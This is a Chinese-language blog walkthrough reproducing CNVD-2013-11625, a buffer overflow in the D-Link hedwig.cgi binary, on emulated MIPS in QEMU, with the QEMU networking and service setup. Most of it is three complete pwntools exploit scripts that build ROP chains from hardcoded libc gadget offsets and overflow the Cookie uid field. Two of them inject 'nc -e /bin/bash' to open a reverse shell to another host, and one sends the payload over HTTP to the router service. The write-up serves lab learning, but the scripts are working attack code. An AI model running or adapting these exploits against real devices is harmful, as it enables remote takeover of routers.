CNVD-2013-11625复现 前言 本来是不太想复现太老的漏洞的,但是这个漏洞在网上可以找到的文章非常多,复现了一下,确实很经典,可以学到很多东西,像我这样的新手拿来入门真的非常友好,也有很多大佬的文章可以参考,这里就放一下自己的一些感悟以及自己的exp,不再做太多分析了)
参考文章 :
文章一
文章二
漏洞分析 漏洞分析这方面winmt大佬已经分析的很透彻了,这里就不再多说了,大家可以看大佬的文章 好吧其实是因为我懒得写了(bushi
mips架构两个很有意思的特性是
在调用叶子函数和非叶子函数时对于寄存器的处理问题
流水线指令集的相关特性,主要体现在“分支延迟效应”和“缓存不一致性”
大家在调试过程中自己可以体会的到的
在qemu用户模式下复现 先放exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *import subprocessimport timecontext(arch="mips" ,os="linux" ) context.log_level='debug' context.terminal = ["tmux" , "splitw" , "-v" , "-l" , "190" , "gdb-multiarch" , "-q" , "-x" , "-" ] libc_base=0x0 heap_base=0x0 pie=0x0 def getshell () : return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base=0x2b30c000 sleep_=li(0x56bd0 ) binsh=li(0x5a448 ) system=li(0x53200 ) gadget1=li(0x13f8c ) gadget2=li(0x2d194 ) gadget3=li(0x3dd24 ) gadget4=li(0x3B974 ) gadget5=li(0x272A8 ) gadget6=li(0x2F0F8 ) payload = b'uid=' +b'a' *0x3cd payload+=p32(system-1 )+p32(0xffffffff )+p32(0xffffffff )+p32(binsh)+p32(0xffffffff )+p32(gadget3)+p32(gadget2)+p32(0xffffffff )+p32(0xffffffff )+p32(gadget1) def ggg (): gdb_cmd = [ "tmux" , "split-window" , "-v" , "-l" , "190" , "gdb-multiarch" , "-ex" , "set architecture mips:isa32r2" , "-ex" , f"file ./htdocs/cgibin" , "-ex" , "target remote localhost:1234" , "-ex" , "b *0x409a28" , "-ex" , "c" ] subprocess.Popen(gdb_cmd) time.sleep(1 ) p = process([ "qemu-mipsel" , "-g" , "1234" , "-L" , "." , "-0" , "hedwig.cgi" , "-E" , "REQUEST_METHOD=POST" , "-E" , "REQUEST_URI=aaa?EVENT=;/bin/sh;" , "-E" , "CONTENT_LENGTH=10" , "-E" , "CONTENT_TYPE=application/x-www-form-urlencoded" , "-E" , b"HTTP_COOKIE=" +payload, "./htdocs/cgibin" ]) ggg() sl(b"aaaaaaa=bbbbbbbbbbb" ) shell()
shellcode的打法以及rop链的打法都在里面,这歌调试指令可以较为方便的调试,大家可以参考一下,不调试的话,记得把指令注释掉就好了 QAQ
这里说一下winmt师傅文章中不太准确的一部分(当然也可能是因为我和winmt师傅的环境不同导致的,也可能和附件不太相同有原因,这里只是提出一下自己的看法)
1 这个脚本的ROP链构造没什么问题,但是在用户模式下是打不通的,原因是这里的system函数中有调用fork()函数,而用户模式是不支持多线程的,这里fork()的失败,会导致后面$fp是个空指针,就会出错,之后在系统模式打就不会出问题了。
rop链打不通的原因其实是因为libc中搜到/bin/sh字符串的时候搜错了,0x6dfd0的偏移指向的是存储/bin/sh字符串的指针,而并非/bin/sh的指针
从调试结果也可以看出来,这种指针方式是不正确的,所以只要修改一下偏移,就可以打通了
在qemu系统模式下复现 下载所需的内核和镜像文件 1 2 3 4 5 6 7 8 9 10 注意: MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像: Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序 Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景 内核镜像文件 vmlinux 有 4kc 和 5kc 两种版本:4kc 为 32 位,5kc 为 64 位 另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件 initrd.img 这里就直接引用“uf4te”师傅的原话了
配置网卡 shell脚本
1 2 3 4 5 6 7 sudo brctl addbr br0sudo ip addr add 192.168.49.3/24 dev br0sudo ip link set br0 upsudo tunctl -t tap0 -u rootsudo ip addr add 192.168.49.4/24 dev tap0sudo ip link set tap0 upsudo brctl addif br0 tap0
这里我的虚拟机的网段是192.168.49.,大家根据自己的网段自己修改,如果有重名的网卡的话,可以将其删掉,或者修改一下网卡名称,最后不要撞到
启动qemu的脚本
1 2 3 4 5 6 7 8 ~/Desktop/IOT/stackover/mips_system » sudo /usr/local/qemu-9.2/bin/qemu-system-mipsel \ tao@taotao -M malta \ -kernel ./vmlinux-3.2.0-4-4kc-malta \ -hda ./debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic \ -net tap,ifname=tap0,script=no,downscript=no \ -nographic
记得根据自己的qemu-system-mipsel的路径自己修改
启动后要登陆,user_name和password都是root,登录后给虚拟机配置一个ip,并启动它,这里注意,这些ip都是在同一个网段里的
1 2 ip addr add 192.168.49.101/24 dev eth0 ip link set eth0 up
现在就可以发现,虚拟机和宿主机可以互相ping通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@debian-mipsel:~# ping 192.168.49.130 PING 192.168.49.130 (192.168.49.130) 56(84) bytes of data. 64 bytes from 192.168.49.130: icmp_req=1 ttl=64 time =17.5 ms 64 bytes from 192.168.49.130: icmp_req=2 ttl=64 time =0.882 ms 64 bytes from 192.168.49.130: icmp_req=3 ttl=64 time =0.664 ms 64 bytes from 192.168.49.130: icmp_req=4 ttl=64 time =0.603 ms ~/Desktop/IOT/stackover/mips_system » ping 192.168.49.101 tao@taotao PING 192.168.49.101 (192.168.49.101) 56(84) bytes of data. 64 bytes from 192.168.49.101: icmp_seq=1 ttl=64 time =5.37 ms 64 bytes from 192.168.49.101: icmp_seq=2 ttl=64 time =0.531 ms 64 bytes from 192.168.49.101: icmp_seq=3 ttl=64 time =0.380 ms 64 bytes from 192.168.49.101: icmp_seq=4 ttl=64 time =0.470 ms 64 bytes from 192.168.49.101: icmp_seq=5 ttl=64 time =0.424 ms
qemu中启动服务 先将文件打包好传给qemu虚拟机
1 2 3 4 tar -czvf pick.tar squashfs-root#将所需文件打包好 sudo scp pick.tar root@192.168.49.101:/#传给虚拟机,记得写自己的ip,目录自己选择,我这里之间传到了根目录,之后再通过mv 移动sudo scp -o HostKeyAlgorithms=+ssh-rsa pick.tar root@192.168.49.101:/
在宿主机里设置桥接模式,保证虚拟机可以和外网进行互通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/sh sudo sysctl -w net.ipv4.ip_forward=1#宿主机里执行sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE#这里是关键,将网卡改为你宿主机访问外网时的网卡,这里我是ens33sudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
现在宿主机会将虚拟机发来的流量进行伪装发出去,但是虚拟机只知道在本地网段的ip要走eth0网卡,并不知道其他网段怎么走
1 ip route add default via 192.168.49.3#虚拟机里执行
这个时候增加一个默认网关,走br0,就可以成功将包转发出去
1 2 3 4 root@debian-mipsel:~/squashfs-root# ping 180.101.49.11 PING 180.101.49.11 (180.101.49.11) 56(84) bytes of data. 64 bytes from 180.101.49.11: icmp_req=1 ttl=127 time =1.26 ms 64 bytes from 180.101.49.11: icmp_req=2 ttl=127 time =1.12 ms
可以看到,成功ping通baidu了,但是这里没有设置DNS解析域名,有需要的可以自己设置一下
接下来就是在qemu里启动http服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so /lib/cp lib/libcrypt-0.9.30.1.so /lib/cp lib/libc.so.0 /lib/cp lib/libgcc_s.so.1 /lib/cp lib/ld-uClibc.so.0 /lib/cp lib/libcrypt.so.0 /lib/cp lib/libgcc_s.so /lib/cp lib/libuClibc-0.9.30.1.so /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s /htdocs/cgibin /usr/sbin/hnap./httpd -f http_conf
运行这个shell脚本
1 2 3 root@debian-mipsel:~/squashfs-root# ./init.sh cp : cannot overwrite directory `/etc/ppp' with non-directory cp: cannot overwrite directory `/etc/iproute2' with non-directory
这里我运行的时候报错,因为/etc/ppp和/etc/iproute2是两个文件夹,而~/squashfs-root/etc下的ppp和iproute2是两个文件,所以报错了,这里我选择将/etc/ppp和/etc/iproute2删掉,然后再次运行init.sh就好了,(记得先将刚刚启动的http服务kill掉,安全起见,可以先用etc_bak恢复一下etc里的内容,然后重新启动)
可以选择在qemu虚拟机里放一个恢复文件
1 2 3 4 #!/bin/bash rm -rf /etcmv /etc_bak/etc /etcrm -rf /etc_bak
这样每次推出前运行一下这个fin.sh shell脚本就可以恢复etc里的内容,当然也可以不这么做,看个人需求
启动服务后可以看到,已经可以在宿主机里访问虚拟机里启动的qemu服务了
1.向qemu虚拟机上传payload 这里先把本地的gdbserver传上去
1 2 sudo scp -o HostKeyAlgorithms=+ssh-rsa gdbserver chmod 777 gdbserver
写一个启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgiunset CONTENT_LENGTHunset CONTENT_TYPEunset HTTP_COOKIEunset REQUEST_METHODunset REQUEST_URI
然后启动可以看到
1 2 3 4 5 root@debian-mipsel:~/squashfs-root# ./run.sh cat : payload: No such file or directoryProcess /htdocs/web/hedwig.cgi created; pid = 1393 Listening on port 6666
这时用宿主机的gdb-multiarch连接到这个ip和port,就可以远程调试了
在main函数下一个断点,c过去就可以通过vmmap看到libc的基地址是0x77f34000
我看师傅们的文章,这里还是用的本地的libc,这里可以看到远程运行 /htdocs/web/hedwig.cgi的时候所依赖的libc其实是qemu里自身的
1 2 3 4 5 root@debian-mipsel:/lib# ldd /htdocs/web/hedwig.cgi libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x77fb9000) libc.so.0 => /lib/libc.so.0 (0x77f45000) ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x77f2f000)
所以这里选择直接把libc扒出来进行分析,从师傅们的情况来看,应该这个libc和用户态调试的时候是一样的
1 2 nc -l -p 8888 < /lib/libc.so.0 nc 192.168.49.101 8888 > ~/Desktop/IOT/stackover/libc.so.0
然后拖到ida里找gadget就好了,和用户态就没什么区别了,这里放exp
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import subprocessimport timecontext(arch="mips" ,os="linux" ) context.log_level='debug' context.terminal = ["tmux" , "splitw" , "-v" , "-l" , "190" , "gdb-multiarch" , "-q" , "-x" , "-" ] libc_base=0x0 heap_base=0x0 pie=0x0 def getshell () : return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base=0x77f34000 system=li(0x53200 ) cmd=b'nc -e /bin/bash 192.168.49.130 8888' gadget1=li(0xdef0 ) gadget2=li(0x32a98 ) gadget3=li(0x4c154 ) payload = b'uid=' +b'a' *(0x3cd -4 ) payload+=p32(system-1 )+p32(gadget1)+p32(0xffffffff )+p32(0xffffffff )+p32(gadget3)+p32(0xffffffff )+p32(0xffffffff )+p32(0xffffffff )+p32(0xffffffff )+p32(gadget2)+b'a' *0x10 +cmd+b';' fd=open ("payload" ,"wb" ) fd.write(payload) fd.close()
注意:将payload写入payload文件后传到qemu里,然后将qemu里run.sh中的调试模式改为攻击模式,在宿主机监听8888端口,qemu反弹shell,就可以拿到权限
shellcode的打法也类似,这里就不再写exp了,好吧是我太懒了
2.向 httpd 服务发送 HTTP 报文 也一样的,直接发送就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *import requestsimport subprocessimport timecontext(arch="mips" ,os="linux" ) context.log_level='debug' context.terminal = ["tmux" , "splitw" , "-v" , "-l" , "190" , "gdb-multiarch" , "-q" , "-x" , "-" ] libc_base=0x0 heap_base=0x0 pie=0x0 def getshell () : return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base=0x77f34000 system=li(0x53200 ) cmd=b'nc -e /bin/bash 192.168.49.130 8888' gadget1=li(0xdef0 ) gadget2=li(0x32a98 ) gadget3=li(0x4c154 ) payload = b'uid=' +b'a' *(0x3cd -4 ) payload+=p32(system-1 )+p32(gadget1)+p32(0xffffffff )+p32(0xffffffff )+p32(gadget3)+p32(0xffffffff )+p32(0xffffffff )+p32(0xffffffff )+p32(0xffffffff )+p32(gadget2)+b'a' *0x10 +cmd+b';' url = "http://192.168.49.101:4321/hedwig.cgi" data = {"winmt" : "pwner" } headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded" , "Content-Length" : "11" } res = requests.post(url=url, headers=headers, data=data) print (res)